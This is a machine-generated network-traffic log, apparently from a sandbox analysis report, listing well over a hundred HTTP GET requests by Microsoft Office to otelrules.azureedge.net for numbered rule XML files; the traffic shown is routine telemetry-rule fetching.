Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
